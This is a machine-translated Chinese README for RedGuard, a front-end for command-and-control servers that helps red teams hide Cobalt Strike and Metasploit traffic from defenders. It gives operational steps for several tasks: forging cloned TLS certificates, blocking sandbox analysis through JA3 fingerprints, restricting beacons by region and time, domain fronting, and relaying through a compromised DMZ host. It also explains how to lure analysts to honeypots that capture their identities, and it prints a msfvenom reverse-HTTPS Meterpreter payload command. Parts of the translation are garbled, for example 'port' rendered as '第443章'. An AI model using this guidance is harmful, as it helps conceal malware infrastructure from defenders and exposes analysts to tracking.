英语 | 中文文档
RedGuard是基于命令与控制(C2)前端流控技术的衍生工具,具有更轻量级的设计、高效的流量交互以及可靠的兼容Go编程语言开发。随着网络攻击的不断演变,红蓝团队随着演练变得越来越复杂,RedGuard旨在为红队提供更好的C2通道隐藏解决方案,为C2通道提供流量控制,阻断“恶意”分析流量,更好地完成整个攻击任务。
RedGuard是一款C2前端流量控制工具,可以躲避Blue Team、AVS、EDR、Cyberspace Search Engine的检测。
您可以直接下载并使用编译好的版本,也可以远程下载go包独立编译执行。
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
如下图所示,设置可执行权限并初始化RedGuard。首次运行会在当前用户主目录生成配置文件,实现灵活的功能配置。配置文件名: .RedGuard_CobaltStrike.ini 。
配置文件内容:
cert的配置选项主要是样本与C2前端基础设施之间SSL证书加密HTTPS通信的配置信息。代理主要用于配置反向代理流量中的控制选项。具体使用下面会详细讲解。
SSL 证书加密的 HTTPS 通信将在 RedGuard 执行目录下的 cert-rsa/ 目录中生成。您可以通过修改配置文件来启动和停止该工具的基本功能(证书的序列号是根据时间戳生成的,不用担心与此功能关联) 。如果您想使用自己的证书,只需将它们重命名为 ca.crt 和 ca.key 即可。
openssl x509 -in ca.crt -noout -text
每次启动 RedGuard 时都会更新随机 TLS JARM 指纹,以防止其被用于验证 C2 基础设施。
如果使用自己的证书,请将配置文件中的HasCert参数修改为true
,防止JARM混淆随机化导致CipherSuites加密套件与自定义证书不兼容而导致正常通信问题。
# Whether to use the certificate you have applied for true/false
HasCert = false
部署Domain fronting隐藏C2流量时,加速域名默认没有HTTPS证书信息。这显然是有问题的,所以在配置域名的时候需要注意配置证书。这也是判断样本是否为域前端流量的默认依据。
[^腾讯云]:内容分发网络证书配置
相信大家看完本文都会有一些疑问,如何获取配置的证书?如果使用自己申请的证书,则达不到我们期望的匿名效果。此处您可以使用克隆的证书进行配置。以腾讯云为例,测试中发现不会验证自定义上传证书的有效性。我们可以使用与加速域名实际站点相同的证书来伪造。虽然正常情况下替换CS默认证书时伪造证书无法通信,但部署在云服务商CDN全站加速和RedGuard上时不会验证有效性,C2交互流量可以正常通信。
以下是Github上已有的项目地址
https://github.com/virusdefender/copy-cert
虽然样本域前端流量侧的证书已经解析,但从大规模网络映射的角度来看,我们的C2服务器仍然暴露在外界,仍然可能被检测到并与真实的C2服务器关联。此时可以使用RedGuard修改C2的前置默认证书来实现匿名。
[^情报信息]:TLS证书
以上就是C2服务器伪造证书的效果。可见,在Threatbook社区的情报中,它是可信的,并且没有过期。获取数字证书的主要方式是在云端沙箱进行样本分析时实时提取并更新,但显然没有得到有效验证。状态值仅验证过期时间。证书信任验证只能以能否正常通信为依据。
需要注意的是,Threatbook 情报不会使用证书情报标记示例请求的 SNI 和 HOST 地址。这实际上是为了防止误报。我认为这是正确的。威胁情报作为辅助研究人员分析的重要依据,宁可不完整,也不要指向错误的方向,从而导致后续分析的误判。如果说配置全站加速证书是伪造通信流量的证书,那么配置RedGuard C2的预响应证书就是伪造部署在公网的真实C2服务器的行为特征,从而达到反映射的效果。是非常有必要的。
提取证书序列号: 55e6acaed1f8a430f9a938c5
,并进行HEX编码,获取TLS证书指纹: 26585094245224241434632730821
知识产权 | 港口 | 协议 | 服务 | 国家 | 城市 | 标题 | 时间 |
---|---|---|---|---|---|---|---|
103.211.xx.90 | 第443章 | https | 阿帕奇httpd | 中国 | 苏州 | 百度图片-发现世界多彩 | 2023-08-28 |
223.113.xx.207 | 第443章 | https | JSP3 | 中国 | 徐州 | 403 禁忌 | 2023-08-28 |
223.112.xx.48 | 第443章 | https | JSP3 | 中国 | 徐州 | 403 禁忌 | 2023-08-28 |
223.113.xx.40 | 第443章 | https | JSP3 | 中国 | 徐州 | 403 禁忌 | 2023-08-28 |
223.113.xx.31 | 第443章 | https | JSP3 | 中国 | 405 不允许 | 2023-08-28 | |
223.113.xx.206 | 第443章 | https | JSP3 | 中国 | 徐州 | 403 禁忌 | 2023-08-28 |
搜索结果数量:2291
通过网络空间测绘,发现2291个独立IP地址,经核实均拥有属于百度的TLS证书。仅凭通信流量很难判断是否为恶意通信。但伪造了域前端+C2前端流量设施的TLS证书,成功干扰空间映射和威胁情报,造成错误的信息关联,使攻击者的流量特征更加真实,达到伪造正常的目的通讯流量。
即使C2流量前端设施之前没有隐藏转发处理,也最好更改RedGuard的证书。默认情况下,当前网络空间测绘中使用的公共组件指纹识别形成的任何指纹库均采用公共组件默认配置特征的行为进行识别。在这些定制过程中,不同的群体可能会表现出不同的独特特征。当然,指纹的形成需要对目标组件有一定的了解,从而提取目标的默认特征并形成关联的指纹。这里,RG证书的行为特征用于网络空间映射,与公网上部署的大量RG节点相关联。
作者能够提取指纹并不奇怪,但还是建议RedGuard用户修改默认证书信息,做一个专业的黑客:)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modification
PS 可以使用参数命令来修改配置文件。当然,我觉得用vim手动修改可能会更方便。
如果直接访问反向代理的端口,就会触发拦截规则。这里通过输出日志可以看到客户端请求的根目录,但是由于请求中没有携带请求凭证即正确的HOST请求头,所以触发了基本拦截规则,流量被重定向到https:// /360.net
这里只是一个输出的演示,实际使用可以通过nohup ./RedGuard &
在后台运行。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }
从上面的切片不难看出,360.net代理到本地8080端口,360.com代理到本地4433端口,使用的HTTP协议也不同。在实际使用中,需要注意监听器的协议类型。与这里的设置一致,并设置相应的HOST请求头。
如上图所示,在未授权访问的情况下,我们得到的响应信息也是重定向站点的返回信息。
在上述基本拦截案例中,采用的是默认拦截方式,通过重定向的方式拦截非法流量。通过修改配置文件,我们可以改变拦截方式和重定向的站点URL。事实上,与其说这是重定向,我认为将其描述为劫持、克隆可能更合适,因为返回的响应状态代码是200,并且响应是从另一个网站获取的,以模仿克隆/被劫持的网站:尽可能紧密地。
无效数据包可以根据三种策略被错误路由:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net
配置文件中的Redirect=URL指向被劫持的URL地址。 RedGuard 支持“热更改”,这意味着当该工具通过nohup
在后台运行时,我们仍然可以修改配置文件。内容实时启动和停止。
./RedGuard -u --drop true
注意,通过命令行修改配置文件时,不能缺少-u
选项,否则无法成功修改配置文件。如果需要恢复默认配置文件设置,只需输入./RedGuard -u
。
另一种拦截方法是 DROP,它直接关闭 HTTP 通信响应,通过设置DROP = true来启用。具体拦截效果如下:
可以看出,C2前端流控直接关闭对非法请求的响应,无需HTTP响应码。在网络空间测绘检测中,DROP方法可以隐藏端口的开放情况。具体效果可以看下面的案例。分析。
相信很多用户都会对劫持响应感兴趣。大致原理是,当客户端向真正的C2服务器发起请求时,由于不符合入站规则,C2服务器会获取指定的正常站点并返回其响应信息。因此,从效果请求端来看,看似是在与IP服务进行交互,但实际上是利用中间C2服务器作为代理服务器与正常站点进行交互,很难发现异常。如果满足入站请求,则将流量请求转发到真实的C2服务监听端口进行交互,而真实的监听端口已经被云防火墙过滤,只允许本地访问,外部无法直接访问。所以从对外端口开放来看,只开放了HTTP/S端口,从某种意义上来说,这确实是C2的线上端口。
[^流量图]:C2服务器流量交互流程
网络空间测绘数据中,该IP的HTTP/S开放端口响应码是200,而不是307跳转,更加真实。
HTTPS证书与上面提到的伪造证书具有相同的效果,都是真实证书的指纹。
相信很多红队在打项目的过程中都会广泛使用云函数/域前置等隐蔽手段。然而,在如今的攻防对抗中,上述两种隐蔽方式都有一个致命的问题,那就是可以直接连接C2服务。结果无疑是,当我们掌握了云功能地址或者域名前置的交互IP/HOST时,就可以直接访问C2监听服务,证明其是攻击设施。
由于流量可以直接到达C2,因此值得考虑的是安全设备是否可以对SNI和HOST不匹配的流量进行CS扫描以识别是否为恶意流量。对于云功能或沙箱环境也是如此。除了样本侧,还可以有更多流量层面的分析过程。
劫持响应后,直接访问HTTP服务可以正常与网站交互,但Cscan无法扫描出样本信息,因为流量无法到达真正的C2监听器。只有满足流量发起的特征,才能进行正常的C2交互。然而,有一个问题。 C2扫描脚本需要遵守入站规则,这对蓝队分析师的编码能力提出了一定的考验。目前公开的扫描脚本是Nmap的形式。
JA3 为客户端和服务器之间的加密通信提供了更容易识别的指纹。它利用TLS指纹来识别恶意客户端和服务器之间的TLS协商,从而达到关联恶意客户端的效果。这种指纹很容易在任何使用 MD5 加密的平台上生成,目前广泛应用于威胁情报领域。比如在一些沙箱的样本分析报告中可以看到,证明不同样本之间的相关性。
如果我们能够掌握C2服务器和恶意客户端的JA3(S),即使流量被加密并且C2服务器的IP地址或域名未知,我们仍然可以识别恶意客户端和恶意客户端之间的TLS协商。通过 TLS 指纹识别服务器。相信大家看到这里都能想到这一点,这也是应对域名前置、反向代理、云功能等流量转发隐蔽方式的措施。通过沙箱执行样本识别和C2通信TLS协商并生成JA3(S)指纹,可应用于威胁情报实现辅助溯源。
我在2022年就公布了这个技术,在测试微步沙箱环境时,发现虽然请求交互的出口IP数量很少,但是通过IP来识别沙箱并不准确,而且这是一个很容易改变的特性,但其JA3指纹在同一系统环境中是唯一的。后来收到反馈说沙盒已经完成了指纹随机化,但最近测试发现并没有完全实现。我还是希望能够面对流量端的指纹问题。
从云沙箱的角度来看,通过监控样本与C2服务器之间的流量交互,生成JA3(S)指纹来识别恶意客户端,从而进行关联。反过来想,作为C2前面的流量控制设施,我们也可以进行这样的操作来获取客户端请求的JA3指纹。通过调试不同的沙箱环境,得到这些JA3指纹,形成指纹库,从而形成基本的拦截策略。
想象一下,在分阶段木马交互的过程中,加载器会首先拉取远程地址的shellcode。然后,当流量识别出该请求符合JA3指纹库的云沙箱特征时,就会拦截后续请求。如果无法获取shellcode,则整个加载过程就无法完成,沙箱自然无法对其进行充分分析。如果环境是无阶段木马,那么沙箱分析也将无法最终上传到C2服务器。相信大家都从睡梦中醒来,发现C2上挂着很多很久的沙盒记录。当然,在理想状态下,我们能够识别不同的沙箱环境,这主要取决于指纹库的可靠性。
测试过程中,我发现在指纹库中添加ZoomEye GO语言请求库的JA3指纹并监控RG请求流量后,大部分请求都触发了JA3指纹库功能的基本拦截。这里我猜测测绘产品的底层语言是用GO语言实现的扫描任务的一部分。通过一个环节,不同底层语言组成的扫描逻辑最终完成了整个扫描任务。这也解释了为什么部分测绘产品扫描会触发GO语言请求库的JA3指纹拦截功能。识别规则原理与云沙箱指纹相同。两者都利用了请求客户端环境和请求库的唯一性。与PC端不同,这些产品的请求环境基本不会随意改变,这也使得我们能够掌握其流量端指纹并进行拦截,那么我们是否可以思考安全设备是否可以使用主动检测的JA3指纹流量作为拦截依据?当然,当业务流量较大时,可能会出现一定量的误报。这里我们仅提出理论上可行的产品需求。
PS用户还可以将样本上传到沙箱中,获取并验证自己的JA3指纹,并将其添加到指纹库中。需要注意的是,如果沙箱只是将JA3指纹改为而不是上述指纹,那是没有意义的。真正需要解决的是,沙箱每次进行动态分析时,都不是同一个指纹,其变化需要满足尽可能不重复的要求。如果重复率较高,仍会作为指纹使用。
目前支持threatbook云沙箱的识别拦截作为效果演示
配置文件中配置以下两个参数即可实现更改反向代理端口的效果。建议使用默认端口隐藏,只要不与当前服务器端口冲突即可。如果一定要修改,那么注意参数值的:
不要缺失
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80
蓝队追踪行为通过目标请求的拦截日志进行分析,可用于追踪对等连接事件/问题。日志文件生成在 RedGuard 运行目录中,文件名: RedGuard.log 。
本节介绍如何配置RG获取请求的真实IP地址。只需要在C2设备的配置文件中添加如下配置即可,通过请求头X-Forwarded-For获取目标的真实IP地址。
http-config {
set trust_x_forwarded_for " true " ;
}
配置方法以AllowLocation = Jinan, Beijing
为例。需要注意的是,RedGuard提供了两种反向IP归属的API,一种针对中国大陆用户,另一种针对非中国大陆用户,并且可以根据输入的地理域名动态分配使用哪个API,如果目标是中国的话设置区域使用中文,否则使用英文地名。建议中国大陆用户使用中文名字,这样通过反向查询得到的归因的准确性和API的响应速度是最好的选择。
PS中国大陆用户,请勿使用AllowLocation=Jinan,beijing这样的方式!没有多大意义,参数值的第一个字符决定使用哪个API!
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
AllowLocation = *
在决定限制区域之前,您可以通过以下命令手动查询IP地址。
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
这里我们设置只允许山东地区上线
合法交通:
非法请求区域:
关于地域限制的联系,在目前的攻防演习中可能更加实用。基本上,省市攻防演习限制的目标都在指定区域内,其他区域要求的交通自然可以忽略不计。 RedGuard的这个功能不仅可以限制单个区域,还可以根据省市限制多个连接区域,并拦截其他区域请求的流量。
除了RedGuard内置的网络安全厂商的IP黑名单之外,我们还可以按照白名单的方式进行限制。其实我也建议大家在进行Web渗透时,可以根据白名单来限制上网IP地址,分割出多种IP地址。
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
如上图所示,我们限制只允许127.0.0.1连接,那么其他IP的请求流量将被阻止。
这个功能比较有趣。在配置文件中设置以下参数值意味着交通控制设施只能在上午 8:00 到晚上 9:00 之间进行连接。这里的具体应用场景是,在指定的攻击时间内,我们允许与C2通信,而在其他时间保持沉默。这也让红队可以睡个好觉,不用担心晚上值班的蓝队无聊分析你的木马,然后醒来发现一些难以形容的东西,哈哈哈。
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21:00
RedGuard 使用 Malleable C2 配置文件。它解析提供的可扩展配置文件部分以理解合约并仅传递满足它的入站请求,同时误导其他请求。 http-stager
、 http-get
和http-post
等部分及其相应的 uri、标头、用户代理等用于区分合法的信标请求与不相关的互联网噪声或 IR/AV/EDR 越界数据包。
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
风起写的配置文件推荐使用:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
在 Cobalt Strike 4.7+ 中,Teamserver 会在没有任何通知的情况下自动删除 Content-Encoding 标头,这可能会导致可延展的 http-(get|post).server 违规。而且,如果CS Server响应消息中没有Content-type,但经过RedGuard转发后,将Content-Type添加到响应消息头中,导致cf缓存页面,造成干扰。
RedGuard 23.08.21之后,增加了自定义响应包头的功能。用户可以通过修改配置文件来自定义和删除响应包中的头信息,解决解析错误的问题。
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13更新了木马样本指纹识别功能,该功能基于将Malleable Profile的HTTP Header字段自定义为指纹“样本盐值”,用于唯一标识同一个C2监听器/Header Host。另外,结合其他相关请求字段生成的木马样本指纹可用于检测自定义样本的活跃度。根据攻击者的任务需求,木马样本指纹识别功能可以对想要禁用的样本进行“离线操作”,更好地规避样本通信的恶意流量分析和阶段性样本PAYLOAD攻击载荷获取分析,并提供更多针对攻击者的个性化隐形措施。
对于不同的C2监听器,我们可以给Malleable Profile配置赋予不同的别名,自定义相关头文件的字段名和值作为样本salt值,并将其作为不同样本之间的区别之一。下面的代码只是为了说明目的,在实际攻防场景中我们可以使用更真实的HTTP请求包字段作为判断依据。
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}
HTTP 流量
如图所示,我们使用上面示例的Salt值和Host字段作为指纹生成的基础。在这里我们知道:
根据拼接上述值,得到样本指纹如下:
22e6db08c5ef1889d64103a290ac145c
现在我们知道了上面的样本指纹,我们可以在RedGuard配置文件中设置自定义的Header字段和样本指纹来进行恶意流量拦截。值得注意的是,我们可以扩展多个样本指纹,用逗号分隔,并且FieldName需要与Malleable Profile中配置的Header字段名称一致
由于RedGuard的配置文件是热配置,我们不需要重启RedGuard来拦截我们想要禁用的样本。当我们想要重新激活样本时,只需从RedGuard配置文件中删除相关的样本指纹即可。
示范效果:
如果上述方法有问题的话,实际在线的C2服务器是无法被防火墙直接拦截的,因为反向代理中实际的负载均衡请求是由云服务器厂商的IP发出的。
单机作战时,我们可以在云服务器防火墙上设置拦截规则。
然后将代理指向的地址设置为https://127.0.0.1:4433。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }
而且由于我们的基本验证是基于HTTP HOST请求头,所以我们在HTTP流量中看到的也和域名前置的方式一样,但是成本更低,而且只需要一台云服务器。
监听器设置中, HTTPS Port (C2)
设置为RedGuard反向代理端口, HTTPS Port (Bind)
为本机实际连接端口。
生成木马
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exe
当然,作为域名前置场景,你也可以将你的LHOST配置为使用厂商CDN的任意域名,并注意设置HttpHostHeader与RedGuard相匹配。
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true
请务必注意, OverrideRequestHost
设置必须设置为true
。这是由于 Metasploit 在生成暂存有效负载的配置时默认处理传入 HTTP/S 请求的方式的一个功能。默认情况下,Metasploit 使用传入请求的Host
标头值(如果存在)进行第二阶段配置,而不是LHOST
参数。因此,构建阶段配置为直接将请求发送到您的隐藏域名,因为 CloudFront 在转发请求的Host
标头中传递您的内部域。这显然不是我们所要求的。使用OverrideRequestHost
配置值,我们可以强制 Metasploit 忽略传入的Host
标头,而是使用指向原始 CloudFront 域的LHOST
配置值。
侦听器设置为与 RedGuard 实际转发到的地址相匹配的实际线路端口。
RedGuard 收到请求:
如下图所示,当我们的拦截规则设置为DROP时,空间映射系统探针会多次探测我们的反向代理端口的/目录。理论上,通过映射发送的请求数据包会被伪造为正常流量,如图所示。但经过多次尝试,由于请求包的签名不符合RedGuard的发布要求,所以都是Close HTTP响应。最终在测绘平台上显示的效果是反向代理端口未开放。
下图所示的流量意味着当拦截规则设置为Redirect时,我们会发现当映射探针收到响应时,它会继续扫描我们的目录。 User-Agent 是随机的,看起来符合正常的流量请求,但都成功阻止了。
建图平台-劫持响应拦截模式效果:
测绘平台-重定向拦截效果:
RedGuard 支持域前置。在我看来,有两种表现形式。一种是采用传统的Domain前置方式,可以通过在全站加速回源地址中设置我们反向代理的端口来实现。在原来的基础上,在域名前置上增加了流量控制的功能,可以根据我们设置的设置重定向到指定的URL,使其看起来更加真实。需要注意的是,HTTPS HOST header的RedGuard设置必须与全站加速的域名一致。
在一次战斗中,我建议可以使用上述方法,在团队任务中,也可以通过自行构建的“域前”来实现。
在自我构建的域前,保持多个反向代理端口一致,主机标头始终指向后端的真实C2服务器收听端口。这样,我们的实际C2服务器可以很好地隐藏,而反向代理的服务器只能通过配置防火墙打开代理端口。
这可以通过多个节点服务器来实现,并在CS侦听器HTTPS Online IP中配置多个节点的IPS。
恶意蜜罐捕获的原则主要取决于RG交通指导的劫持响应或重定向功能,RG交通指导指导正在评估C2设施的分析师到Honeypot Sandbox的地址。在劫持响应状态下,RG将指示不符合Honeypot资产的入站规则的流量。当遇到一些更强大的蜜罐(例如捕获操作员手机号码的蜜罐)时,客户将根据目标站点的响应启动请求,并被JSONP劫持以获取相关信息。
想象一下,当分析师直接访问C2在线端口时,他们将被指向Honeypot资产,这无疑会引起分析师的干扰。分析师被恶意地指示要求honeypot资产,而蜜罐监视端捕获了蓝色团队分析师的相关信息,并跟踪错误。如果分析目标从一开始是错误的,那么您如何获得好结果?毫无疑问,这将为国防团队引起严重的内部摩擦。
这是一组与Honeypot资产相关的动物园指纹:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
实现此效果的方法非常简单,您只需要更改RG配置文件中的相关键值即可。
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.com
PS我相信每个人都知道如何在没有解释的情况下配置它:)
这种方法是一种狡猾的技巧,它更反映在想法中。如果进一步利用,则可以将HoneyPot捕获功能部署在C2前端交通控制设施中,然后可以指向交互式流量。效果是可以像传统的蜜罐一样获得客户的浏览器缓存数据。但是,我个人认为,在公共版本中,将其应用于当前的攻击和防御对抗可能没有意义。攻击者捕获蓝色团队分析师的社交信息并进行追踪是没有意义的。当然,退后一步,这可能会使对C2样品的分析更加危险。当黑人和灰色行业的攻击者可以获得分析师的虚拟身份时,如果可以转换虚拟和真实身份,它仍然相对危险。因此,我认为未来的研究和分析应该更加谨慎和警惕。
在攻击和防御对抗的情况下,大多数单位网络仍然是基于边境的防御。在这里,我们考虑了一个方案,在普通业务环境中,DMZ区域中的外部服务器通常配置为相关的访问策略。目前,当边缘的外部服务器可以访问网络但无法直接访问Intranet主机时,Intranet中的PC或相关服务器不能直接访问公共网络,而是可以访问DMZ区域的业务服务器,然后,我可以将Edge节点的主机用作RG节点,将Intranet在线流量传输到我们的C2设施。听起来与在线传统代理转移非常相似吗?但是,这只是显示技能实施的一种形式。让我们继续查看更多提示。
当我们在管理过程中删除Edge主机时,假设我们已接管了Shell Permissions,则将在该服务器上部署RG作为前端节点(在实际情况下,配置文件在程序中进行了硬编码,甚至将特洛伊木马和RG合并为同一程序) 。
配置文件如下:
对于特定配置,我们主要关注箭头。上面的箭头1是Intranet主机和边缘节点之间相互作用的主机域名。建议根据目标单元的特定方案设置相关的Intranet域名。想象一下,Intranet中两个主机之间的流量相互作用围绕Intranet域名。 BT是否有勇气直接切断交互式流量?当然,如果他们能确定这是恶意交互流量。箭头2点到传统域前端的设置。键对对应于在线主机,该值对应于代理地址。在这里,我们可以使用相同的CDN制造商将其设置为任何HTTPS域名(CDN节点IP也可以,请记住带上http(s)://协议)。
EdgeHost是我们云服务提供商域前端使用的域名,它也是RG边缘节点通过CDN节点进行交互时使用的域名。是的,RG将修改合法请求的主机域名,并将其修改为可以正常通信的云服务CDN域名。
EdgetArget是Intranet交互的域名,它需要与箭头1相同。只有主机设置的域名要求的流量将被视为合法的,并且RG将进一步修改为云服务cdn域名,用于后续的cdn域名沟通。
在这里,我们总结:
也就是说,Intranet中边缘节点与主机之间的相互作用是通过集合Intranet域名。何